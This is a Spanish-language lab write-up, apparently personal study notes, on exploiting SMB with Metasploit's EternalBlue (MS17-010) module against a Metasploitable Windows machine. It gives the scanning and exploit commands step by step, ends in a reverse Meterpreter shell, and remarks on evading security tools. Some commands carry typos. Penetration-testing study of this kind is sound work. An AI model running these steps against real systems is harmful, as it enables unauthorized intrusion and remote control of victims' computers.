> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/metasploit-framework/explotacion-labs/explotacion-de-smb-con-modulos-de-msf-eternalblue.md).

# EXPLOTACIÓN DE SMB CON MÓDULOS DE MSF - ETERNALBLUE

SMB: Server Message Block, protocolo que red usado para compartir recursos como ficheros o impresoras.

La NSA desarrollo el exploit conocido como EternalBlue, en 2017 Microsoft lo clasifica como ms17-010, este exploit explota una vulnerabilidad en el protocolo SMB.

Un grupo de delincuentes filtro este exploit.

***

Escaneamos el puerto 445 de la máquina objetivo que es MS3 Windows, que es donde corre el servicio smb, y detectamos la versión del servicio.

```bash
nmap -p 4445 10.0.2.15
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FHqtU3PIKbB2P3FYgfSSv%2Fimagen.png?alt=media&amp;token=712392c4-152d-46f0-bd41-9325efbd0578" alt=""><figcaption></figcaption></figure>

Y como vemos, el resultado del escaneo nos muestra que el puerto 445 está abierto, y también la versión del servicio smb.

***

Ahora, para verificar que la máquina objetivo es vulnerable al exploit EternalBlue, usamos el siguiente script de nmap:

```bash
nmap -p 445 -sV --script smb-vuln-ms17-010 10.0.2.15
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FEWWJC1Vx1dH4zGebRnpH%2Fimagen.png?alt=media&amp;token=df733e00-6e13-4fb7-90fd-c1d0b5d33ab8" alt=""><figcaption></figcaption></figure>

Y en este caso, el resultado nos dice que en efecto, la máquina objetivo es vulnerable a la ejecución remota de código y también nos muestra el CVE.

***

Así que abrimos la msfconsole y buscamos módulos compatibles con EternalBlue (ms17-010).

```bash
msfconsole
msf > use ms17-010
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FOjnA3P9HLWX4irpXKbCf%2Fimagen.png?alt=media&amp;token=f934df46-14c7-495f-a4aa-e1e944a0cce3" alt=""><figcaption></figcaption></figure>

Ahora, como vemos tenemos en total 5 módulos compatibles, que son 3 exploits y 2 auxiliares.

Con el módulo auxiliar `auxiliary/scanner/smb/smb_ms17_010` podemos comprobar si la máquina objetivo es vulnerable, así como lo hicimos anteriormente con nmap.

```bash
use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary (scanner/smb/smb_ms17_010) > options
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FwuZX4UTDTvkdizBRLJ97%2Fimagen.png?alt=media&amp;token=4a8bb663-fd55-448a-8710-93b7491b54b8" alt=""><figcaption></figcaption></figure>

Una vez seleccionado el auxiliar y al mostrar sus opciones de configuración veremos que el puerto 445 donde corre el servicio smb ya está establecido, solo nos queda establecer la dirección ip de la máquina objetivo.

{% code title="Comandos" %}

```
set = configurar un valor temporal
setg = configurar un valor permanente (entre cambios de módulo), útil en este caso
porque después cambiaremos del módulo auxiliar a un módulo exploit.
```

{% endcode %}

```bash
msf auxiliary (scanner/smb/smb_ms17_010) >  setg rhosts 10.0.2.15
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FkqzNrhZLa7dMV6DHmc0C%2Fimagen.png?alt=media&amp;token=723c8f99-2696-45a7-a0d2-f6aa72549ae6" alt=""><figcaption></figcaption></figure>

Ahora ejecutamos el módulo auxiliar con el comando `run`.

```bash
msf auxiliary (scanner/smb/smb_ms17_010) > run
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2FYDtbSvXHtOiUJGmAC7Bz%2Fimagen.png?alt=media&amp;token=91e32905-14f8-4081-a464-66eaee04c1ed" alt=""><figcaption></figcaption></figure>

Y como resultado obtenemos que efectivamente, la máquina objetivo es vulnerable al EternalBlue.

***

Muy bien, ahora volvemos a hacer la búsqueda con la palabra clave ms17-010 para luego seleccionar el módulo exploit adecuado.

```bash
msf auxiliary (scanner/smb/smb_ms17_010) > search ms17-010
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2Fw909tcriM6FOAocMyMLh%2Fimagen.png?alt=media&amp;token=1be3eb46-93fe-4343-8b19-12560d19b3ba" alt=""><figcaption></figcaption></figure>

```bash
msf auxiliary (scanner/smb/smb_ms17_010) > use 0
msf exploit (windows/smb/ms17_010_eternalblue) > options
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2Fy7Ru3CTR2eNoHpA2jN55%2Fimagen.png?alt=media&amp;token=110e33fd-ea06-4a14-9768-2c2204abace1" alt=""><figcaption></figcaption></figure>

Y como vemos, como anteriormente configuramos la variable RHOSTS con el comando setg, el valor sigue establecido, y vemos que el puerto también ya está establecido. Muy bien ahora es hora de elegir el payload, en este caso dejemos el que viene por defecto.

El puerto local en donde será enviado el revershell también lo dejaré así. Y claramente la dirección ip local debe ser la ip de nuestra máquina, porque nosotros recibiremos la reverse shell una vez se haya explotado con éxito la vulnerabilidad e inyectado el payload.

Todo parece estar bien configurado, así que ejecutamos el exploit con el comando `exploit`.

```bash
msf exploit (windows/smb/ms17_010_eternalblue) > exploir
```

<figure><img src="https://2448382844-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FywHg0FIANmg3uxJJ9jhH%2Fuploads%2F4eNBd1iH8W0SwlE9Ae6u%2Fimagen.png?alt=media&amp;token=651555c2-d83e-4e42-884a-2333ad3c817d" alt=""><figcaption></figcaption></figure>

Y como vemos, como resultado obtenemos una reverse shell, y si vemos bien, veremos que el módulo exploit primero ejecuto el módulo auxiliar que ejecutamos antes individualmente.

***

TALVEZ DEBA CAMBIAR DE ESTRATEGIA. BUENO ESTOY EN PROCESO DE BUSCAR ESO.

Procedimiento del módulo auxiliar scanner.

* El módulo establece una conexión con el servicio que usa el protocolo smb.
* Hace una negociación con el protocolo smb, para determinar su versión, ya que esta vulnerabilidad esta presente en SMBv1.
* Configuración de la sesión, una vez negociado el protocolo, el módulo intenta configurar una sesión en el smb de la máquina víctima para poder envíar solicitudes que van a determinar si es vulnerable o no.
* Luego de configurar la sesión, el módulo empieza a enviar solicitud mal formadas de forma intencional que intentan explotar la vulnerabilidad. Son solicitudes que están diseñadas para provocar una respuesta en específico, y en base a esa respuesta determinar si el host es vulnerable o no.
* Al recibir las respuestas de la máquina víctima, el módulo auxiliar las analiza y si la máquina víctima interpreta las solicitudes de la manera esperada, el módulo concluye que la máquina objetivo es vulnerable.
* Muchos auxiliares pueden dar falsos positivos. No fiarse al 100% de los módulos auxiliares e incluso de nmap, son herramientas que en algunos casos pueden dar falsos positivos.

Módulos exploit.

* ETERNABLUE: Es más rápido y directo, pero puede llegar a ser menos estable. Explota la vulnerabilidad e inyecta el payload y no hace nada más. Más propenso a ser detectado por elementos de seguridad debido a su forma de explotación, similar a lo que hace el módulo auxiliar. Enviar paquetes mal formados y en este caso consiguiendo la correcta explotación para luego inyectar directamente el payload.
* PSEXEC: integra psexec, que es una herramienta de administración de sistemas windows que permite ejecutar procesos en sistemas remotos, en este caso proporciona una capa adiocional de ejecución para que el payload se ejecute de una forma más confiable y sea más estable. En ocasiones llega a evadir ciertos elementos de seguridad, ya que psexe es una herramienta legítima. Pero si la máquina víctima tiene restringido el uso de psexec por alguna política de seguridad, entonces no se puede hacer nada.
* Depende del contexto, la máquina víctima y la infraestructura de red, te puede funcionar uno u otro, o incluso ambos

PAYLOAD:

* Inyectar payload de meterpreter por una conexión reversa a través del protocolo TCP, indicando que la arquitectura del objetivo es un Windows de 64 bits.
